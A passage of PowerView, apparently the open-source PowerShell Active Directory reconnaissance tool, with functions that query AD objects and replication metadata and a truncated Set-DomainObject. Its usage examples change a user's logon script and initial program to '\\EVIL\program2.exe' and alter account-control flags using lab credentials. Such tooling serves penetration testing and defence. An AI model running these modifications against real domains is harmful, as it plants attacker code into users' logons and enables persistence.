   6658                 $ObjectSearcher.filter = "(&$Filter)"
   6659             }
   6660             Write-Verbose "[Get-DomainObject] Get-DomainObject filter string: $($ObjectSearcher.filter)"
   6661 
   6662             if ($PSBoundParameters['FindOne']) { $Results = $ObjectSearcher.FindOne() }
   6663             else { $Results = $ObjectSearcher.FindAll() }
   6664             $Results | Where-Object {$_} | ForEach-Object {
   6665                 if ($PSBoundParameters['Raw']) {
   6666                     # return raw result objects
   6667                     $Object = $_
   6668                     $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject.Raw')
   6669                 }
   6670                 else {
   6671                     $Object = Convert-LDAPProperty -Properties $_.Properties
   6672                     $Object.PSObject.TypeNames.Insert(0, 'PowerView.ADObject')
   6673                 }
   6674                 $Object
   6675             }
   6676             if ($Results) {
   6677                 try { $Results.dispose() }
   6678                 catch {
   6679                     Write-Verbose "[Get-DomainObject] Error disposing of the Results object: $_"
   6680                 }
   6681             }
   6682             $ObjectSearcher.dispose()
   6683         }
   6684     }
   6685 }
   6686 
   6687 
   6688 function Get-DomainObjectAttributeHistory {
   6689 <#
   6690 .SYNOPSIS
   6691 
   6692 Returns the Active Directory attribute replication metadata for the specified
   6693 object, i.e. a parsed version of the msds-replattributemetadata attribute.
   6694 By default, replication data for every domain object is returned.
   6695 
   6696 Author: Will Schroeder (@harmj0y)  
   6697 License: BSD 3-Clause  
   6698 Required Dependencies: Get-DomainObject
   6699 
   6700 .DESCRIPTION
   6701 
   6702 Wraps Get-DomainObject with a specification to retrieve the property 'msds-replattributemetadata'.
   6703 This is the domain attribute replication metadata associated with the object. The results are
   6704 parsed from their XML string form and returned as a custom object.
   6705 
   6706 .PARAMETER Identity
   6707 
   6708 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
   6709 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
   6710 Wildcards accepted.
   6711 
   6712 .PARAMETER Domain
   6713 
   6714 Specifies the domain to use for the query, defaults to the current domain.
   6715 
   6716 .PARAMETER LDAPFilter
   6717 
   6718 Specifies an LDAP query string that is used to filter Active Directory objects.
   6719 
   6720 .PARAMETER Properties
   6721 
   6722 Only return replication metadata on the specified property names.
   6723 
   6724 .PARAMETER SearchBase
   6725 
   6726 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   6727 Useful for OU queries.
   6728 
   6729 .PARAMETER Server
   6730 
   6731 Specifies an Active Directory server (domain controller) to bind to.
   6732 
   6733 .PARAMETER SearchScope
   6734 
   6735 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   6736 
   6737 .PARAMETER ResultPageSize
   6738 
   6739 Specifies the PageSize to set for the LDAP searcher object.
   6740 
   6741 .PARAMETER ServerTimeLimit
   6742 
   6743 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   6744 
   6745 .PARAMETER Tombstone
   6746 
   6747 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   6748 
   6749 .PARAMETER Credential
   6750 
   6751 A [Management.Automation.PSCredential] object of alternate credentials
   6752 for connection to the target domain.
   6753 
   6754 .EXAMPLE
   6755 
   6756 Get-DomainObjectAttributeHistory -Domain testlab.local
   6757 
   6758 Return all attribute replication metadata for all objects in the testlab.local domain.
   6759 
   6760 .EXAMPLE
   6761 
   6762 'S-1-5-21-883232822-274137685-4173207997-1109','CN=dfm.a,CN=Users,DC=testlab,DC=local','da','94299db1-e3e7-48f9-845b-3bffef8bedbb' | Get-DomainObjectAttributeHistory -Properties objectClass | ft
   6763 
   6764 ObjectDN      ObjectGuid    AttributeNam LastOriginat Version      LastOriginat
   6765                             e            ingChange                 ingDsaDN
   6766 --------      ----------    ------------ ------------ -------      ------------
   6767 CN=dfm.a,C... a6263874-f... objectClass  2017-03-0... 1            CN=NTDS S...
   6768 CN=DA,CN=U... 77b56df4-f... objectClass  2017-04-1... 1            CN=NTDS S...
   6769 CN=harmj0y... 94299db1-e... objectClass  2017-03-0... 1            CN=NTDS S...
   6770 
   6771 .EXAMPLE
   6772 
   6773 Get-DomainObjectAttributeHistory harmj0y -Properties userAccountControl
   6774 
   6775 ObjectDN              : CN=harmj0y,CN=Users,DC=testlab,DC=local
   6776 ObjectGuid            : 94299db1-e3e7-48f9-845b-3bffef8bedbb
   6777 AttributeName         : userAccountControl
   6778 LastOriginatingChange : 2017-03-07T19:56:27Z
   6779 Version               : 4
   6780 LastOriginatingDsaDN  : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
   6781                         -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
   6782                         l
   6783 
   6784 .OUTPUTS
   6785 
   6786 PowerView.ADObjectAttributeHistory
   6787 
   6788 Custom PSObject with translated replication metadata fields.
   6789 
   6790 .LINK
   6791 
   6792 https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-1-when-did-the-delegation-change-how-to-track-security-descriptor-modifications/
   6793 #>
   6794 
   6795     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
   6796     [OutputType('PowerView.ADObjectAttributeHistory')]
   6797     [CmdletBinding()]
   6798     Param(
   6799         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   6800         [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
   6801         [String[]]
   6802         $Identity,
   6803 
   6804         [ValidateNotNullOrEmpty()]
   6805         [String]
   6806         $Domain,
   6807 
   6808         [ValidateNotNullOrEmpty()]
   6809         [Alias('Filter')]
   6810         [String]
   6811         $LDAPFilter,
   6812 
   6813         [ValidateNotNullOrEmpty()]
   6814         [String[]]
   6815         $Properties,
   6816 
   6817         [ValidateNotNullOrEmpty()]
   6818         [Alias('ADSPath')]
   6819         [String]
   6820         $SearchBase,
   6821 
   6822         [ValidateNotNullOrEmpty()]
   6823         [Alias('DomainController')]
   6824         [String]
   6825         $Server,
   6826 
   6827         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   6828         [String]
   6829         $SearchScope = 'Subtree',
   6830 
   6831         [ValidateRange(1, 10000)]
   6832         [Int]
   6833         $ResultPageSize = 200,
   6834 
   6835         [ValidateRange(1, 10000)]
   6836         [Int]
   6837         $ServerTimeLimit,
   6838 
   6839         [Switch]
   6840         $Tombstone,
   6841 
   6842         [Management.Automation.PSCredential]
   6843         [Management.Automation.CredentialAttribute()]
   6844         $Credential = [Management.Automation.PSCredential]::Empty,
   6845 
   6846         [Switch]
   6847         $Raw
   6848     )
   6849 
   6850     BEGIN {
   6851         $SearcherArguments = @{
   6852             'Properties'    =   'msds-replattributemetadata','distinguishedname'
   6853             'Raw'           =   $True
   6854         }
   6855         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
   6856         if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
   6857         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
   6858         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
   6859         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
   6860         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
   6861         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   6862         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
   6863         if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne }
   6864         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
   6865 
   6866         if ($PSBoundParameters['Properties']) {
   6867             $PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
   6868         }
   6869         else {
   6870             $PropertyFilter = ''
   6871         }
   6872     }
   6873 
   6874     PROCESS {
   6875         if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
   6876 
   6877         Get-DomainObject @SearcherArguments | ForEach-Object {
   6878             $ObjectDN = $_.Properties['distinguishedname'][0]
   6879             ForEach($XMLNode in $_.Properties['msds-replattributemetadata']) {
   6880                 $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_ATTR_META_DATA' -ErrorAction SilentlyContinue
   6881                 if ($TempObject) {
   6882                     if ($TempObject.pszAttributeName -Match $PropertyFilter) {
   6883                         $Output = New-Object PSObject
   6884                         $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
   6885                         $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName
   6886                         $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
   6887                         $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion
   6888                         $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
   6889                         $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectAttributeHistory')
   6890                         $Output
   6891                     }
   6892                 }
   6893                 else {
   6894                     Write-Verbose "[Get-DomainObjectAttributeHistory] Error retrieving 'msds-replattributemetadata' for '$ObjectDN'"
   6895                 }
   6896             }
   6897         }
   6898     }
   6899 }
   6900 
   6901 
   6902 function Get-DomainObjectLinkedAttributeHistory {
   6903 <#
   6904 .SYNOPSIS
   6905 
   6906 Returns the Active Directory links attribute value replication metadata for the
   6907 specified object, i.e. a parsed version of the msds-replvaluemetadata attribute.
   6908 By default, replication data for every domain object is returned.
   6909 
   6910 Author: Will Schroeder (@harmj0y)  
   6911 License: BSD 3-Clause  
   6912 Required Dependencies: Get-DomainObject
   6913 
   6914 .DESCRIPTION
   6915 
   6916 Wraps Get-DomainObject with a specification to retrieve the property 'msds-replvaluemetadata'.
   6917 This is the domain linked attribute value replication metadata associated with the object. The
   6918 results are parsed from their XML string form and returned as a custom object.
   6919 
   6920 .PARAMETER Identity
   6921 
   6922 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
   6923 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
   6924 Wildcards accepted.
   6925 
   6926 .PARAMETER Domain
   6927 
   6928 Specifies the domain to use for the query, defaults to the current domain.
   6929 
   6930 .PARAMETER LDAPFilter
   6931 
   6932 Specifies an LDAP query string that is used to filter Active Directory objects.
   6933 
   6934 .PARAMETER Properties
   6935 
   6936 Only return replication metadata on the specified property names.
   6937 
   6938 .PARAMETER SearchBase
   6939 
   6940 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   6941 Useful for OU queries.
   6942 
   6943 .PARAMETER Server
   6944 
   6945 Specifies an Active Directory server (domain controller) to bind to.
   6946 
   6947 .PARAMETER SearchScope
   6948 
   6949 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   6950 
   6951 .PARAMETER ResultPageSize
   6952 
   6953 Specifies the PageSize to set for the LDAP searcher object.
   6954 
   6955 .PARAMETER ServerTimeLimit
   6956 
   6957 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   6958 
   6959 .PARAMETER Tombstone
   6960 
   6961 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   6962 
   6963 .PARAMETER Credential
   6964 
   6965 A [Management.Automation.PSCredential] object of alternate credentials
   6966 for connection to the target domain.
   6967 
   6968 .EXAMPLE
   6969 
   6970 Get-DomainObjectLinkedAttributeHistory | Group-Object ObjectDN | ft -a
   6971 
   6972 Count Name
   6973 ----- ----
   6974     4 CN=Administrators,CN=Builtin,DC=testlab,DC=local
   6975     4 CN=Users,CN=Builtin,DC=testlab,DC=local
   6976     2 CN=Guests,CN=Builtin,DC=testlab,DC=local
   6977     1 CN=IIS_IUSRS,CN=Builtin,DC=testlab,DC=local
   6978     1 CN=Schema Admins,CN=Users,DC=testlab,DC=local
   6979     1 CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
   6980     4 CN=Domain Admins,CN=Users,DC=testlab,DC=local
   6981     1 CN=Group Policy Creator Owners,CN=Users,DC=testlab,DC=local
   6982     1 CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=testlab,DC=local
   6983     1 CN=Windows Authorization Access Group,CN=Builtin,DC=testlab,DC=local
   6984     8 CN=Denied RODC Password Replication Group,CN=Users,DC=testlab,DC=local
   6985     2 CN=PRIMARY,CN=Topology,CN=Domain System Volume,CN=DFSR-GlobalSettings,...
   6986     1 CN=Domain System Volume,CN=DFSR-LocalSettings,CN=PRIMARY,OU=Domain Con...
   6987     1 CN=ServerAdmins,CN=Users,DC=testlab,DC=local
   6988     3 CN=DomainLocalGroup,CN=Users,DC=testlab,DC=local
   6989 
   6990 
   6991 .EXAMPLE
   6992 
   6993 'S-1-5-21-883232822-274137685-4173207997-519','af94f49e-61a5-4f7d-a17c-d80fb16a5220' | Get-DomainObjectLinkedAttributeHistory
   6994 
   6995 ObjectDN              : CN=Enterprise Admins,CN=Users,DC=testlab,DC=local
   6996 ObjectGuid            : 94e782c1-16a1-400b-a7d0-1126038c6387
   6997 AttributeName         : member
   6998 AttributeValue        : CN=Administrator,CN=Users,DC=testlab,DC=local
   6999 TimeDeleted           : 2017-03-06T00:48:29Z
   7000 TimeCreated           : 2017-03-06T00:48:29Z
   7001 LastOriginatingChange : 2017-03-06T00:48:29Z
   7002 Version               : 1
   7003 LastOriginatingDsaDN  : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
   7004                         -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
   7005                         l
   7006 
   7007 ObjectDN              : CN=Domain Admins,CN=Users,DC=testlab,DC=local
   7008 ObjectGuid            : af94f49e-61a5-4f7d-a17c-d80fb16a5220
   7009 AttributeName         : member
   7010 AttributeValue        : CN=dfm,CN=Users,DC=testlab,DC=local
   7011 TimeDeleted           : 2017-06-13T22:20:02Z
   7012 TimeCreated           : 2017-06-13T22:20:02Z
   7013 LastOriginatingChange : 2017-06-13T22:20:22Z
   7014 Version               : 2
   7015 LastOriginatingDsaDN  : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
   7016                         -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
   7017                         l
   7018 
   7019 ObjectDN              : CN=Domain Admins,CN=Users,DC=testlab,DC=local
   7020 ObjectGuid            : af94f49e-61a5-4f7d-a17c-d80fb16a5220
   7021 AttributeName         : member
   7022 AttributeValue        : CN=Administrator,CN=Users,DC=testlab,DC=local
   7023 TimeDeleted           : 2017-03-06T00:48:29Z
   7024 TimeCreated           : 2017-03-06T00:48:29Z
   7025 LastOriginatingChange : 2017-03-06T00:48:29Z
   7026 Version               : 1
   7027 LastOriginatingDsaDN  : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
   7028                         -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
   7029                         l
   7030 
   7031 .EXAMPLE
   7032 
   7033 Get-DomainObjectLinkedAttributeHistory ServerAdmins -Domain testlab.local
   7034 
   7035 ObjectDN              : CN=ServerAdmins,CN=Users,DC=testlab,DC=local
   7036 ObjectGuid            : 603b46ad-555c-49b3-8745-c0718febefc2
   7037 AttributeName         : member
   7038 AttributeValue        : CN=jason.a,CN=Users,DC=dev,DC=testlab,DC=local
   7039 TimeDeleted           : 2017-04-10T22:17:19Z
   7040 TimeCreated           : 2017-04-10T22:17:19Z
   7041 LastOriginatingChange : 2017-04-10T22:17:19Z
   7042 Version               : 1
   7043 LastOriginatingDsaDN  : CN=NTDS Settings,CN=PRIMARY,CN=Servers,CN=Default-First
   7044                         -Site-Name,CN=Sites,CN=Configuration,DC=testlab,DC=loca
   7045                         l
   7046 
   7047 .OUTPUTS
   7048 
   7049 PowerView.ADObjectLinkedAttributeHistory
   7050 
   7051 Custom PSObject with translated replication metadata fields.
   7052 
   7053 .LINK
   7054 
   7055 https://blogs.technet.microsoft.com/pie/2014/08/25/metadata-2-the-ephemeral-admin-or-how-to-track-the-group-membership/
   7056 #>
   7057 
   7058     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
   7059     [OutputType('PowerView.ADObjectLinkedAttributeHistory')]
   7060     [CmdletBinding()]
   7061     Param(
   7062         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   7063         [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
   7064         [String[]]
   7065         $Identity,
   7066 
   7067         [ValidateNotNullOrEmpty()]
   7068         [String]
   7069         $Domain,
   7070 
   7071         [ValidateNotNullOrEmpty()]
   7072         [Alias('Filter')]
   7073         [String]
   7074         $LDAPFilter,
   7075 
   7076         [ValidateNotNullOrEmpty()]
   7077         [String[]]
   7078         $Properties,
   7079 
   7080         [ValidateNotNullOrEmpty()]
   7081         [Alias('ADSPath')]
   7082         [String]
   7083         $SearchBase,
   7084 
   7085         [ValidateNotNullOrEmpty()]
   7086         [Alias('DomainController')]
   7087         [String]
   7088         $Server,
   7089 
   7090         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   7091         [String]
   7092         $SearchScope = 'Subtree',
   7093 
   7094         [ValidateRange(1, 10000)]
   7095         [Int]
   7096         $ResultPageSize = 200,
   7097 
   7098         [ValidateRange(1, 10000)]
   7099         [Int]
   7100         $ServerTimeLimit,
   7101 
   7102         [Switch]
   7103         $Tombstone,
   7104 
   7105         [Management.Automation.PSCredential]
   7106         [Management.Automation.CredentialAttribute()]
   7107         $Credential = [Management.Automation.PSCredential]::Empty,
   7108 
   7109         [Switch]
   7110         $Raw
   7111     )
   7112 
   7113     BEGIN {
   7114         $SearcherArguments = @{
   7115             'Properties'    =   'msds-replvaluemetadata','distinguishedname'
   7116             'Raw'           =   $True
   7117         }
   7118         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
   7119         if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
   7120         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
   7121         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
   7122         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
   7123         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
   7124         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   7125         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
   7126         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
   7127 
   7128         if ($PSBoundParameters['Properties']) {
   7129             $PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
   7130         }
   7131         else {
   7132             $PropertyFilter = ''
   7133         }
   7134     }
   7135 
   7136     PROCESS {
   7137         if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
   7138 
   7139         Get-DomainObject @SearcherArguments | ForEach-Object {
   7140             $ObjectDN = $_.Properties['distinguishedname'][0]
   7141             ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
   7142                 $TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue
   7143                 if ($TempObject) {
   7144                     if ($TempObject.pszAttributeName -Match $PropertyFilter) {
   7145                         $Output = New-Object PSObject
   7146                         $Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
   7147                         $Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName
   7148                         $Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn
   7149                         $Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated
   7150                         $Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
   7151                         $Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
   7152                         $Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion
   7153                         $Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
   7154                         $Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory')
   7155                         $Output
   7156                     }
   7157                 }
   7158                 else {
   7159                     Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'"
   7160                 }
   7161             }
   7162         }
   7163     }
   7164 }
   7165 
   7166 
   7167 function Set-DomainObject {
   7168 <#
   7169 .SYNOPSIS
   7170 
   7171 Modifies a gven property for a specified active directory object.
   7172 
   7173 Author: Will Schroeder (@harmj0y)  
   7174 License: BSD 3-Clause  
   7175 Required Dependencies: Get-DomainObject  
   7176 
   7177 .DESCRIPTION
   7178 
   7179 Splats user/object targeting parameters to Get-DomainObject, returning the raw
   7180 searchresult object. Retrieves the raw directoryentry for the object, and sets
   7181 any values from -Set @{}, XORs any values from -XOR @{}, and clears any values
   7182 from -Clear @().
   7183 
   7184 .PARAMETER Identity
   7185 
   7186 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
   7187 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
   7188 Wildcards accepted.
   7189 
   7190 .PARAMETER Set
   7191 
   7192 Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values.
   7193 
   7194 .PARAMETER XOR
   7195 
   7196 Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values.
   7197 
   7198 .PARAMETER Clear
   7199 
   7200 Specifies an array of object properties that will be cleared in the directory.
   7201 
   7202 .PARAMETER Domain
   7203 
   7204 Specifies the domain to use for the query, defaults to the current domain.
   7205 
   7206 .PARAMETER LDAPFilter
   7207 
   7208 Specifies an LDAP query string that is used to filter Active Directory objects.
   7209 
   7210 .PARAMETER SearchBase
   7211 
   7212 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   7213 Useful for OU queries.
   7214 
   7215 .PARAMETER Server
   7216 
   7217 Specifies an Active Directory server (domain controller) to bind to.
   7218 
   7219 .PARAMETER SearchScope
   7220 
   7221 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   7222 
   7223 .PARAMETER ResultPageSize
   7224 
   7225 Specifies the PageSize to set for the LDAP searcher object.
   7226 
   7227 .PARAMETER ServerTimeLimit
   7228 
   7229 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   7230 
   7231 .PARAMETER Tombstone
   7232 
   7233 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   7234 
   7235 .PARAMETER Credential
   7236 
   7237 A [Management.Automation.PSCredential] object of alternate credentials
   7238 for connection to the target domain.
   7239 
   7240 .EXAMPLE
   7241 
   7242 Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
   7243 
   7244 VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
   7245 VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
   7246 VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser
   7247 
   7248 .EXAMPLE
   7249 
   7250 "S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose
   7251 
   7252 VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
   7253 VERBOSE: Get-DomainObject filter string:
   7254 (&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108)))
   7255 VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y
   7256 VERBOSE: Setting countrycode to 1234 for object harmj0y
   7257 VERBOSE: Get-DomainSearcher search string:
   7258 LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
   7259 VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
   7260 VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser
   7261 VERBOSE: Setting countrycode to 1234 for object testuser
   7262 
   7263 .EXAMPLE
   7264 
   7265 "S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose
   7266 
   7267 Cleares the 'department' field for both object identities.
   7268 
   7269 .EXAMPLE
   7270 
   7271 Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
   7272 
   7273 Name                           Value
   7274 ----                           -----
   7275 NORMAL_ACCOUNT                 512
   7276 
   7277 
   7278 Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose
   7279 
   7280 VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
   7281 VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
   7282 VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser'
   7283 
   7284 Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
   7285 
   7286 Name                           Value
   7287 ----                           -----
   7288 NORMAL_ACCOUNT                 512
   7289 DONT_EXPIRE_PASSWORD           65536
   7290 
   7291 .EXAMPLE
   7292 
   7293 Get-DomainUser -Identity testuser -Properties scriptpath
   7294 
   7295 scriptpath
   7296 ----------
   7297 \\primary\sysvol\blah.ps1
   7298 
   7299 $SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
   7300 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   7301 Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose
   7302 VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
   7303 VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
   7304 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
   7305 VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
   7306 VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
   7307 VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser'
   7308 
   7309 Get-DomainUser -Identity testuser -Properties scriptpath
   7310 
   7311 scriptpath
   7312 ----------
   7313 \\EVIL\program2.exe
   7314 #>
   7315 
   7316     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
   7317     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
   7318     [CmdletBinding()]
   7319     Param(
   7320         [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   7321         [Alias('DistinguishedName', 'SamAccountName', 'Name')]
   7322         [String[]]
   7323         $Identity,
   7324 
   7325         [ValidateNotNullOrEmpty()]
   7326         [Alias('Replace')]
   7327         [Hashtable]
   7328         $Set,
   7329 
   7330         [ValidateNotNullOrEmpty()]
   7331         [Hashtable]
   7332         $XOR,
   7333 
   7334         [ValidateNotNullOrEmpty()]
   7335         [String[]]
   7336         $Clear,
   7337 
   7338         [ValidateNotNullOrEmpty()]
   7339         [String]
   7340         $Domain,
   7341 
   7342         [ValidateNotNullOrEmpty()]
   7343         [Alias('Filter')]
   7344         [String]
   7345         $LDAPFilter,
   7346 
   7347         [ValidateNotNullOrEmpty()]
   7348         [Alias('ADSPath')]
   7349         [String]
   7350         $SearchBase,
   7351 
   7352         [ValidateNotNullOrEmpty()]
   7353         [Alias('DomainController')]
   7354         [String]
   7355         $Server,
   7356 
   7357         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   7358         [String]
   7359         $SearchScope = 'Subtree',
   7360 
   7361         [ValidateRange(1, 10000)]
   7362         [Int]
   7363         $ResultPageSize = 200,
   7364 
   7365         [ValidateRange(1, 10000)]
   7366         [Int]
   7367         $ServerTimeLimit,
   7368 
   7369         [Switch]
   7370         $Tombstone,
   7371 
   7372         [Management.Automation.PSCredential]
   7373         [Management.Automation.CredentialAttribute()]
   7374         $Credential = [Management.Automation.PSCredential]::Empty
   7375     )
   7376 
   7377     BEGIN {
   7378         $SearcherArguments = @{'Raw' = $True}
   7379         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
   7380         if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
   7381         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
   7382         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
   7383         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
   7384         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
   7385         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   7386         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
   7387         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
   7388     }
   7389 
   7390     PROCESS {
   7391         if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
   7392 
   7393         # splat the appropriate arguments to Get-DomainObject
